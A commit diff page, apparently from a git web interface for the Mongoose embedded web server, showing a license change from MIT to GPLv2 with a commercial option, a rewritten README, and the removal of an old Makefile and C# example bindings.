|
e63f7fe33a | ||
|
|
b589e0cdf4 | ||
|
|
2b87f909ce | ||
|
|
ec7d0b1abd | ||
|
|
5bb3ede46d | ||
|
|
5105717f78 | ||
|
|
9d1e356709 | ||
|
|
3d7192d9fa | ||
|
|
1b3cbb17c1 | ||
|
|
f1f03e4378 | ||
|
|
625a2a3652 | ||
|
|
33a31d9308 | ||
|
|
5e9bd1f05e | ||
|
|
75d9a6c844 | ||
|
|
179761fd99 | ||
|
|
b783813e54 | ||
|
|
4b29689a42 | ||
|
|
9c4853471c | ||
|
|
81e21a3a0b | ||
|
|
bec6ea00ea | ||
|
|
ed32e3be0f | ||
|
|
83fae879bf | ||
|
|
2169e6d77f | ||
|
|
850e0a5922 | ||
|
|
322ed3cc6f | ||
|
|
6d4d53c247 | ||
|
|
e6f8d40942 | ||
|
|
7e051206ad | ||
|
|
76d913796c | ||
|
|
4c2609df2c | ||
|
|
f79bd71fd4 | ||
|
|
5d4f5b6000 | ||
|
|
fe7c245a6b | ||
|
|
f24bebaca8 | ||
|
|
08afdfa8b6 | ||
|
|
05f7d65fc9 | ||
|
|
a194e07545 | ||
|
|
dbb8a5bbf4 | ||
|
|
d3005df019 | ||
|
|
ef9b103a00 | ||
|
|
f0a2924a7c | ||
|
|
f109030cd0 | ||
|
|
eebdd06532 | ||
|
|
ca2fc71a01 | ||
|
|
e61e371c16 | ||
|
|
d5f07f5b9b | ||
|
|
0a8d5dde51 | ||
|
|
5646caa572 | ||
|
|
c7e5573d08 | ||
|
|
b9a226d109 | ||
|
|
fcf8b86288 | ||
|
|
a8b08c6784 | ||
|
|
1fb6f391a1 | ||
|
|
fcbc36ecde | ||
|
|
70771f29ce | ||
|
|
121391504f | ||
|
|
8455742440 | ||
|
|
5b786a5089 | ||
|
|
a6e74e7707 | ||
|
|
acf72a6109 | ||
|
|
2b76f5fc2a | ||
|
|
c0150606f0 | ||
|
|
cdb6588973 | ||
|
|
eecf24b20c | ||
|
|
0470e813a9 | ||
|
|
52c2b6a407 | ||
|
|
d0ce4b9d81 | ||
|
|
f08af96294 | ||
|
|
315ab663df | ||
|
|
fbd46f9b1c | ||
|
|
74c099fe63 | ||
|
|
2acfab62f0 | ||
|
|
0f9a6266e2 | ||
|
|
ca447d9a23 | ||
|
|
444dbe1cec | ||
|
|
20ce55eb3a | ||
|
|
3956aba429 | ||
|
|
6a37f5e4d6 | ||
|
|
f71bfd5e28 | ||
|
|
38cc14a1af | ||
|
|
bde9a63390 | ||
|
|
8eb816c314 | ||
|
|
50c05c4eed | ||
|
|
4eb5cfab7b | ||
|
|
df6fe7a379 | ||
|
|
78eec961a2 | ||
|
|
adff33c889 | ||
|
|
372fcd722c | ||
|
|
0982863e2d | ||
|
|
9b58a951f0 | ||
|
|
ba04f3fd5d | ||
|
|
ff52367c1c | ||
|
|
a0a017d54d | ||
|
|
6cad2c6f28 | ||
|
|
cec98ee9e2 | ||
|
|
dbef400762 | ||
|
|
1bd85de19a | ||
|
|
0b206129ac | ||
|
|
5e491801da |
No files matched your search
@@ -1,19 +1,16 @@
|
||||
Copyright (c) 2004-2010 Sergey Lyubka
|
||||
Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
|
||||
Copyright (c) 2013 Cesanta Software Limited
|
||||
All rights reserved
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
This code is dual-licensed: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License version 2 as
|
||||
published by the Free Software Foundation. For the terms of this
|
||||
license, see <http://www.gnu.org/licenses>.
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
You are free to use this code under the terms of the GNU General
|
||||
Public License, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU General Public License for more details.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
Alternatively, you can license this code under a commercial
|
||||
license, as set out in <http://cesanta.com/>.
|
||||
@@ -1,163 +0,0 @@
|
||||
# This file is part of Mongoose project, http://code.google.com/p/mongoose
|
||||
# $Id: Makefile 473 2009-09-02 11:20:06Z valenok $
|
||||
|
||||
PROG= mongoose
|
||||
|
||||
all:
|
||||
@echo "make (linux|bsd|solaris|mac|windows|mingw|cygwin)"
|
||||
|
||||
# Possible COPT values: (in brackets are rough numbers for 'gcc -O2' on i386)
|
||||
# -DHAVE_MD5 - use system md5 library (-2kb)
|
||||
# -DNDEBUG - strip off all debug code (-5kb)
|
||||
# -DDEBUG - build debug version (very noisy) (+7kb)
|
||||
# -DNO_CGI - disable CGI support (-5kb)
|
||||
# -DNO_SSL - disable SSL functionality (-2kb)
|
||||
# -DNO_SSL_DL - link against system libssl library (-1kb)
|
||||
# -DCONFIG_FILE=\"file\" - use `file' as the default config file
|
||||
# -DSSL_LIB=\"libssl.so.<version>\" - use system versioned SSL shared object
|
||||
# -DCRYPTO_LIB=\"libcrypto.so.<version>\" - use system versioned CRYPTO so
|
||||
# -DUSE_LUA - embed Lua in Mongoose (+100kb)
|
||||
|
||||
|
||||
##########################################################################
|
||||
### UNIX build: linux, bsd, mac, rtems
|
||||
##########################################################################
|
||||
|
||||
# To build with Lua, download and unzip Lua 5.2.1 source code into the
|
||||
# mongoose directory, and then add $(LUA_FLAGS) to CFLAGS below
|
||||
LUA = lua-5.2.1/src
|
||||
LUA_FLAGS = -DUSE_LUA -I$(LUA) -L$(LUA) -llua -lm
|
||||
|
||||
GCC_WARNS = -W -Wall -pedantic
|
||||
CFLAGS = -std=c99 -O2 $(GCC_WARNS) $(COPT)
|
||||
MAC_SHARED = -flat_namespace -bundle -undefined suppress
|
||||
LINFLAGS = -ldl -pthread $(CFLAGS)
|
||||
LIB = lib$(PROG).so$(MONGOOSE_LIB_SUFFIX)
|
||||
|
||||
# Make sure that the compiler flags come last in the compilation string.
|
||||
# If not so, this can break some on some Linux distros which use
|
||||
# "-Wl,--as-needed" turned on by default in cc command.
|
||||
# Also, this is turned in many other distros in static linkage builds.
|
||||
linux:
|
||||
$(CC) mongoose.c -shared -fPIC -fpic -o $(LIB) -Wl,-soname,$(LIB) $(LINFLAGS)
|
||||
$(CC) mongoose.c main.c -o $(PROG) $(LINFLAGS)
|
||||
|
||||
bsd:
|
||||
$(CC) mongoose.c -shared -pthread -fpic -fPIC -o $(LIB) $(CFLAGS)
|
||||
$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
|
||||
|
||||
mac:
|
||||
$(CC) mongoose.c -pthread -o $(LIB) $(MAC_SHARED) $(CFLAGS)
|
||||
$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
|
||||
|
||||
solaris:
|
||||
$(CC) mongoose.c -pthread -lnsl \
|
||||
-lsocket -fpic -fPIC -shared -o $(LIB) $(CFLAGS)
|
||||
$(CC) mongoose.c main.c -pthread -lnsl -lsocket -o $(PROG) $(CFLAGS)
|
||||
|
||||
|
||||
##########################################################################
|
||||
### WINDOWS build: Using Visual Studio or Mingw
|
||||
##########################################################################
|
||||
|
||||
# Using Visual Studio 6.0. To build Mongoose:
|
||||
# o Set MSVC variable below to where VS 6.0 is installed on your system
|
||||
# o Run "PATH_TO_VC6\bin\nmake windows"
|
||||
|
||||
MSVC = e:/vc6
|
||||
CYA = e:/cyassl-2.0.0rc2
|
||||
#DBG = /Zi /DDEBUG /Od
|
||||
DBG = /DNDEBUG /O1
|
||||
CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /Gz /W3 /DNO_SSL_DL \
|
||||
/I$(MSVC)/include /DUSE_LUA /I$(LUA)
|
||||
GUILIB= user32.lib shell32.lib
|
||||
LINK = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
|
||||
/subsystem:windows ws2_32.lib advapi32.lib cyassl.lib lua.lib
|
||||
CYAFL = /c /I $(CYA)/include -I $(CYA)/include/openssl /I$(MSVC)/INCLUDE \
|
||||
/I $(CYA)/ctaocrypt/include /D _LIB /D OPENSSL_EXTRA
|
||||
|
||||
LUA_SOURCES = $(LUA)/lapi.c $(LUA)/lcode.c $(LUA)/lctype.c \
|
||||
$(LUA)/ldebug.c $(LUA)/ldo.c $(LUA)/ldump.c \
|
||||
$(LUA)/lfunc.c $(LUA)/lgc.c $(LUA)/llex.c \
|
||||
$(LUA)/lmem.c $(LUA)/lobject.c $(LUA)/lopcodes.c \
|
||||
$(LUA)/lparser.c $(LUA)/lstate.c $(LUA)/lstring.c \
|
||||
$(LUA)/ltable.c $(LUA)/ltm.c $(LUA)/lundump.c \
|
||||
$(LUA)/lvm.c $(LUA)/lzio.c $(LUA)/lauxlib.c \
|
||||
$(LUA)/lbaselib.c $(LUA)/lbitlib.c $(LUA)/lcorolib.c \
|
||||
$(LUA)/ldblib.c $(LUA)/liolib.c $(LUA)/lmathlib.c \
|
||||
$(LUA)/loslib.c $(LUA)/lstrlib.c $(LUA)/ltablib.c \
|
||||
$(LUA)/loadlib.c $(LUA)/linit.c
|
||||
LUA_OBJECTS = $(LUA_SOURCES:%.c=%.o)
|
||||
|
||||
CYA_SOURCES = $(CYA)/src/cyassl_int.c $(CYA)/src/cyassl_io.c \
|
||||
$(CYA)/src/keys.c $(CYA)/src/tls.c $(CYA)/src/ssl.c \
|
||||
$(CYA)/ctaocrypt/src/aes.c $(CYA)/ctaocrypt/src/arc4.c \
|
||||
$(CYA)/ctaocrypt/src/asn.c $(CYA)/ctaocrypt/src/coding.c \
|
||||
$(CYA)/ctaocrypt/src/ctc_asm.c $(CYA)/ctaocrypt/src/ctc_misc.c \
|
||||
$(CYA)/ctaocrypt/src/cyassl_memory.c $(CYA)/ctaocrypt/src/des3.c \
|
||||
$(CYA)/ctaocrypt/src/dh.c $(CYA)/ctaocrypt/src/dsa.c \
|
||||
$(CYA)/ctaocrypt/src/ecc.c $(CYA)/ctaocrypt/src/hc128.c \
|
||||
$(CYA)/ctaocrypt/src/hmac.c $(CYA)/ctaocrypt/src/integer.c \
|
||||
$(CYA)/ctaocrypt/src/md4.c $(CYA)/ctaocrypt/src/md5.c \
|
||||
$(CYA)/ctaocrypt/src/pwdbased.c $(CYA)/ctaocrypt/src/rabbit.c \
|
||||
$(CYA)/ctaocrypt/src/random.c $(CYA)/ctaocrypt/src/ripemd.c \
|
||||
$(CYA)/ctaocrypt/src/rsa.c $(CYA)/ctaocrypt/src/sha.c \
|
||||
$(CYA)/ctaocrypt/src/sha256.c $(CYA)/ctaocrypt/src/sha512.c \
|
||||
$(CYA)/ctaocrypt/src/tfm.c
|
||||
|
||||
cyassl.lib:
|
||||
$(CL) /Fo$(CYA)/ $(CYA_SOURCES) $(CYAFL) $(DEF)
|
||||
$(MSVC)/bin/lib $(CYA)/*.obj /out:$@
|
||||
|
||||
lua.lib:
|
||||
$(CL) /c /Fo$(LUA)/ $(LUA_SOURCES)
|
||||
$(MSVC)/bin/lib $(LUA_SOURCES:%.c=%.obj) /out:$@
|
||||
|
||||
windows: cyassl.lib lua.lib
|
||||
$(MSVC)/bin/rc win32\res.rc
|
||||
$(CL) /I win32 main.c mongoose.c /GA $(LINK) win32\res.res \
|
||||
$(GUILIB) /out:$(PROG).exe
|
||||
$(CL) mongoose.c /GD $(LINK) /DLL /DEF:win32\dll.def /out:$(PROG).dll
|
||||
|
||||
# Build for Windows under MinGW
|
||||
#MINGWDBG= -DDEBUG -O0 -ggdb
|
||||
MINGWDBG= -DNDEBUG -Os
|
||||
MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
|
||||
#MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,windows $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
|
||||
mingw:
|
||||
windres win32\res.rc win32\res.o
|
||||
$(CC) $(MINGWOPT) mongoose.c -lws2_32 \
|
||||
-shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll
|
||||
$(CC) $(MINGWOPT) -Iwin32 mongoose.c main.c win32\res.o -lws2_32 -ladvapi32 \
|
||||
-o $(PROG).exe
|
||||
|
||||
# Build for Windows under Cygwin
|
||||
#CYGWINDBG= -DDEBUG -O0 -ggdb
|
||||
CYGWINDBG= -DNDEBUG -Os
|
||||
CYGWINOPT= -W -Wall -mthreads -Wl,--subsystem,console $(CYGWINDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
|
||||
cygwin:
|
||||
windres ./win32/res.rc ./win32/res.o
|
||||
$(CC) $(CYGWINOPT) mongoose.c -lws2_32 \
|
||||
-shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll
|
||||
$(CC) $(CYGWINOPT) -Iwin32 mongoose.c main.c ./win32/res.o -lws2_32 \
|
||||
-ladvapi32 -o $(PROG).exe
|
||||
|
||||
##########################################################################
|
||||
### Manuals, cleanup, test, release
|
||||
##########################################################################
|
||||
|
||||
man:
|
||||
groff -man -T ascii mongoose.1 | col -b > mongoose.txt
|
||||
groff -man -T ascii mongoose.1 | less
|
||||
|
||||
# "TEST=unit make test" - perform unit test only
|
||||
# "TEST=embedded" - test embedded API by building and testing test/embed.c
|
||||
# "TEST=basic_tests" - perform basic tests only (no CGI, SSI..)
|
||||
tests:
|
||||
perl test/test.pl $(TEST)
|
||||
|
||||
release: clean
|
||||
F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar -czf x mongoose/{LICENSE,Makefile,bindings,examples,test,win32,mongoose.c,mongoose.h,mongoose.1,main.c} && mv x mongoose/$$F
|
||||
|
||||
clean:
|
||||
rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz $(PROG).exe *.dll *.lib win32/res.o
|
||||
@@ -1,35 +1,86 @@
|
||||
Overview
|
||||
--------
|
||||
# <img src="http://cesanta.com/images/mongoose_logo.png" width="64" height="64"> Mongoose Web Server
|
||||
|
||||
Mongoose is easy to use web server. It also can be used as embedded web server library to provide web interface to applications.
|
||||
Mongoose is the most easy to use web server on the planet. A web server of choice for Web developers (PHP, Ruby, Python, etc) and Web designers.
|
||||
|
||||
Mongoose executable does not depend on any external library or configuration. If it is copied to any directory and launched from there, it starts to serve that directory on port 8080 (so to access files, go to http://localhost:8080). If some additional config is required - for example, different listening port or IP-based access control, that can be done via command line flags or configuration file, which should be created in the same directory where mongoose itself lives. This makes Mongoose perfect for all sorts of demos, quick tests, file sharing, and Web programming.
|
||||
Mongoose is built on top of Libmongoose embedded library, which can turn
|
||||
anything into a web server in 5 minutes worth of effort and few lines of code.
|
||||
Libmongoose is used to serve Web GUI on embedded devices, implement RESTful
|
||||
services, RPC frameworks (e.g. JSON-RPC), handle telemetry data exchange, and
|
||||
perform many other tasks in various different industries including aerospace,
|
||||
manufacturing, finance, research, automotive, gaming, IT.
|
||||
|
||||
|
||||
Features
|
||||
--------
|
||||
* [Mailing list](http://groups.google.com/group/mongoose-users)
|
||||
* [Downloads](http://cesanta.com/mongoose.shtml)
|
||||
* [Documentation](http://cesanta.com/docs.shtml)
|
||||
|
||||
- Crossplatform - works on Windows, MacOS and most flavors of UNIX
|
||||
- CGI, SSL, SSI, Digest (MD5) authorization, Websocket, WEbDAV support
|
||||
- Lua server pages (like PHP, but using Lua as a language instead of PHP)
|
||||
- Resumed download, URL rewrite, IP-based ACL, Windows service
|
||||
- Excluding files from serving by URI pattern (file blacklist)
|
||||
- Download speed limit based on client subnet or URI pattern
|
||||
- Small footprint: executable size is 50 kB on Linux 2.6 i386 system
|
||||
- 130 kilobytes Windows executable with all of the above compiled in, and no dependencies
|
||||
- Embeddable with simple and clean API ([mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h)). The source is in single [mongoose.c](https://github.com/valenok/mongoose/blob/master/mongoose.c) file to make things easy.
|
||||
- Embedding examples: [hello.c](https://github.com/valenok/mongoose/blob/master/examples/hello.c), [post.c](https://github.com/valenok/mongoose/blob/master/examples/post.c), [upload.c](https://github.com/valenok/mongoose/blob/master/examples/upload.c), [websocket.c](https://github.com/valenok/mongoose/blob/master/examples/websocket.c)
|
||||
- Super-liberal MIT license, great for commercial users!
|
||||
# Features
|
||||
|
||||
- Works on Windows, Mac, UNIX/Linux, iPhone, Android eCos, QNX
|
||||
and many other platforms
|
||||
- CGI, SSI, SSL, Digest auth, Websocket, WEbDAV, Resumed download,
|
||||
URL rewrite, file blacklist
|
||||
- Custom error pages, Virtual hosts, IP-based ACL, Windows service,
|
||||
HTTP/HTTPS client
|
||||
- Simple and clean
|
||||
[embedding API](https://github.com/cesanta/mongoose/blob/master/mongoose.h).
|
||||
The source is in single
|
||||
[mongoose.c](https://github.com/cesanta/mongoose/blob/master/mongoose.c) file
|
||||
to make embedding easy
|
||||
- Extremely lightweight, has a core of under 40kB and tiny runtime footprint
|
||||
- Asynchronous, non-blocking core supporting single- or multi-threaded usage
|
||||
- On the market since 2004 with over 1 million cumulative downloads
|
||||
- Stable, mature and tested, has several man-years invested
|
||||
in continuous improvement and refinement
|
||||
|
||||
Mailing list
|
||||
------------
|
||||
# Screenshots
|
||||
|
||||
You can read it online, subscribe to, or send a message at [mongoose-users](http://groups.google.com/group/mongoose-users).
|
||||
Download, double-click to start, run browser -- that's all!
|
||||
|
||||

|
||||

|
||||
|
||||
Keep Sergey happy
|
||||
-----------------
|
||||

|
||||

|
||||
|
||||
I have a [books wishlist](http://amzn.com/w/1OC2ZCPTQYIEP?sort=priority) on Amazon. If you feel brave, you can buy me a book!
|
||||
Many thanks to all who already did so: T.Barmann, D.Hughes, J.C.Sloan and 4 others. Appreciated, guys, you keep my brains going!
|
||||
# Acknowledgements
|
||||
|
||||
Mongoose made better thanks to the contribution of following people:
|
||||
|
||||
Arnout Vandecappelle, Benoît Amiaux, Boris Pek, Cody Hanson, Colin Leitner,
|
||||
Daniel Oaks, Eric Bakan, Erik Oomen, Filipp Kovalev, Ger Hobbelt,
|
||||
Hendrik Polczynski, Igor Okulist, Jay, Joe Mucchiello, John Safranek,
|
||||
José Miguel Gonçalves, Shueng Chuan, Katerina Blinova, Konstantin Sorokin,
|
||||
Marin Atanasov, Matt Healy, Mitch Hendrickson, Nigel Stewart, Pavel Khlebovich,
|
||||
Sebastian Reinhard, Stefan Doehla, abadc0de, nullable.type,
|
||||
T.Barmann, D.Hughes, J.C.Sloan, R.Romeo, L.E.Spencer, S.Kotay, R.M.Shorter,
|
||||
W.Mar, J.Wilander, Santa from Memphis, S.Davies, C.Beck,
|
||||
O.M.Vilhunen, C.Radik, G.Woodcock, M.Szczepkowski,
|
||||
Eternal Lands Dev Team, T.Tollet, C.Tangerino, G.Karsai, A.Bourgett,
|
||||
C.Blakemore, D.Fonaryov, T.Andrle, O.IJsselmuiden, R.Womack, M.Tomlinson,
|
||||
A.Slåttå, L.Farrell, J.D.P.Ballestero, V.Albaev, B.Harker, T.Scheffel, H.Klein,
|
||||
R.Merit, T.Bennett, H.Solis, A.Zincenko, M.S., S.Krul, K.Cooke, S.McCallum,
|
||||
F.Morenius, and 10 others.
|
||||
|
||||
# Licensing
|
||||
|
||||
Mongoose is released under commercial and
|
||||
[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) open
|
||||
source licenses. The GPLv2 open source License does not generally permit
|
||||
incorporating this software into non-open source programs.
|
||||
For those customers who do not wish to comply with the GPLv2 open
|
||||
source license requirements,
|
||||
[Cesanta Software](http://cesanta.com) offers a full,
|
||||
royalty-free commercial license and professional support
|
||||
without any of the GPL restrictions.
|
||||
|
||||
# Other products by Cesanta Software: simple and effective
|
||||
|
||||
- [SSL Wrapper](https://github.com/cesanta/ssl_wrapper) - application to
|
||||
secure network communications
|
||||
- [Frozen](https://github.com/cesanta/frozen) - JSON parser and generator
|
||||
- [SLRE](https://github.com/cesanta/slre) - Super Light Regular Expression
|
||||
library
|
||||
- [Net Skeleton](https://github.com/cesanta/net_skeleton) - framework for
|
||||
building network applications
|
||||
- [SLDR](https://github.com/cesanta/sldr) - Super Light DNS Resolver
|
||||
@@ -1,52 +0,0 @@
|
||||
// This is C# example on how to use Mongoose embeddable web server,
|
||||
// http://code.google.com/p/mongoose
|
||||
//
|
||||
// Before using the mongoose module, make sure that Mongoose shared library is
|
||||
// built and present in the current (or system library) directory
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Program {
|
||||
|
||||
// This function is called when user types in his browser http://127.0.0.1:8080/foo
|
||||
static private void UriHandler(MongooseConnection conn, MongooseRequestInfo ri) {
|
||||
conn.write("HTTP/1.1 200 OK\r\n\r\n");
|
||||
conn.write("Hello from C#!\n");
|
||||
conn.write("Your user-agent is: " + conn.get_header("User-Agent") + "\n");
|
||||
}
|
||||
|
||||
static private void UriDumpInfo(MongooseConnection conn, MongooseRequestInfo ri)
|
||||
{
|
||||
conn.write("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n");
|
||||
conn.write("<html><body><head>Calling Info</head>");
|
||||
conn.write("<p>Request: " + ri.request_method + "</p>");
|
||||
conn.write("<p>URI: " + ri.uri + "</p>");
|
||||
conn.write("<p>Query: " + ri.query_string + "</p>");
|
||||
if (ri.post_data_len > 0) conn.write("<p>Post(" + ri.post_data_len + ")[@" + ri.post_data + "]: '" + Marshal.PtrToStringAnsi(ri.post_data) + "'</p>");
|
||||
conn.write("<p>User:" + ri.remote_user + "</p>");
|
||||
conn.write("<p>IP: " + ri.remote_ip + "</p>");
|
||||
conn.write("<p>HTTP: " + ri.http_version + "</p>");
|
||||
conn.write("<p>Port: " + ri.remote_port + "</p>");
|
||||
conn.write("<p>NUM Headers: " + ri.num_headers + "</p>");
|
||||
for (int i = 0; i < Math.Min(64, ri.num_headers); i++)
|
||||
{
|
||||
conn.write("<p>" + i + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].name)
|
||||
+ ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].value) + "</p>");
|
||||
}
|
||||
conn.write("</body></html>");
|
||||
}
|
||||
|
||||
static void Main() {
|
||||
Mongoose web_server = new Mongoose();
|
||||
|
||||
// Set options and /foo URI handler
|
||||
web_server.set_option("ports", "8080");
|
||||
web_server.set_option("root", "c:\\");
|
||||
web_server.set_uri_callback("/foo", new MongooseCallback(UriHandler));
|
||||
web_server.set_uri_callback("/dumpinfo", new MongooseCallback(UriDumpInfo));
|
||||
|
||||
// Serve requests until user presses "enter" on a keyboard
|
||||
Console.ReadLine();
|
||||
}
|
||||
}
|
||||
@@ -1,134 +0,0 @@
|
||||
// Copyright (c) 2004-2009 Sergey Lyubka
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
//
|
||||
// $Id: mongoose.cs 472 2009-08-30 22:40:29Z spsone1 $
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
|
||||
public IntPtr name; // Using IntPtr here because if we use strings here,
|
||||
public IntPtr value; // it won't be properly marshalled.
|
||||
};
|
||||
|
||||
// This is "struct mg_request_info" from mongoose.h header file
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
|
||||
public string request_method;
|
||||
public string uri;
|
||||
public string http_version;
|
||||
public string query_string;
|
||||
public IntPtr post_data;
|
||||
public string remote_user;
|
||||
public int remote_ip; //int to match the 32bit declaration in c
|
||||
public int remote_port;
|
||||
public int post_data_len;
|
||||
public int status_code;
|
||||
public int num_headers;
|
||||
[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)] public MongooseHeader[] http_headers;
|
||||
};
|
||||
|
||||
// This is a delegate for mg_callback_t from mongoose.h header file
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate void MongooseCallback2(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data);
|
||||
|
||||
// This is a delegate to be used by the application
|
||||
public delegate void MongooseCallback(MongooseConnection conn, MongooseRequestInfo ri);
|
||||
|
||||
public class Mongoose {
|
||||
public string version;
|
||||
private IntPtr ctx;
|
||||
//These two events are here to store a ref to the callbacks while they are over in unmanaged code.
|
||||
private event MongooseCallback2 delegates2;
|
||||
private event MongooseCallback delegates1;
|
||||
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern IntPtr mg_start();
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_stop(IntPtr ctx);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_version();
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern int mg_set_option(IntPtr ctx, string name, string value);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_option(IntPtr ctx, string name);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_uri_callback(IntPtr ctx, string uri_regex, MulticastDelegate func, IntPtr data);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_log_callback(IntPtr ctx, MulticastDelegate func);
|
||||
|
||||
public Mongoose() {
|
||||
ctx = mg_start();
|
||||
version = mg_version();
|
||||
}
|
||||
|
||||
~Mongoose() {
|
||||
mg_stop(this.ctx);
|
||||
this.ctx = IntPtr.Zero;
|
||||
}
|
||||
|
||||
public int set_option(string option_name, string option_value) {
|
||||
return mg_set_option(this.ctx, option_name, option_value);
|
||||
}
|
||||
|
||||
public string get_option(string option_name) {
|
||||
return mg_get_option(this.ctx, option_name);
|
||||
}
|
||||
|
||||
public void set_uri_callback(string uri_regex, MongooseCallback func) {
|
||||
// Build a closure around user function. Initialize connection object there which wraps
|
||||
// mg_write() and other useful methods, and then call user specified handler.
|
||||
MongooseCallback2 callback = delegate(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data) {
|
||||
MongooseConnection connection = new MongooseConnection(conn, this);
|
||||
func(connection, ri);
|
||||
};
|
||||
// store a reference to the callback so it won't be GC'ed while its over in unmanged code
|
||||
delegates2 += callback;
|
||||
mg_set_uri_callback(this.ctx, uri_regex, callback, IntPtr.Zero);
|
||||
}
|
||||
|
||||
public void set_log_callback(MongooseCallback func) {
|
||||
delegates1 += func;
|
||||
mg_set_log_callback(this.ctx, func);
|
||||
}
|
||||
}
|
||||
|
||||
public class MongooseConnection {
|
||||
public Mongoose mongoose;
|
||||
private IntPtr conn;
|
||||
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_header(IntPtr ctx, string name);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_var(IntPtr ctx, string name);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_free(IntPtr ptr);
|
||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] public static extern int mg_write(IntPtr conn, string data, int length);
|
||||
|
||||
public MongooseConnection(IntPtr conn_, Mongoose mongoose_) {
|
||||
mongoose = mongoose_;
|
||||
conn = conn_;
|
||||
}
|
||||
|
||||
public string get_header(string header_name) {
|
||||
return mg_get_header(this.conn, header_name);
|
||||
}
|
||||
|
||||
public string get_var(string header_name) {
|
||||
string s = mg_get_var(this.conn, header_name);
|
||||
string copy = "" + s;
|
||||
mg_free(Marshal.StringToHGlobalAnsi(s));
|
||||
return copy;
|
||||
}
|
||||
|
||||
public int write(string data) {
|
||||
return mg_write(this.conn, data, data.Length);
|
||||
}
|
||||
}
|
||||
@@ -1,63 +0,0 @@
|
||||
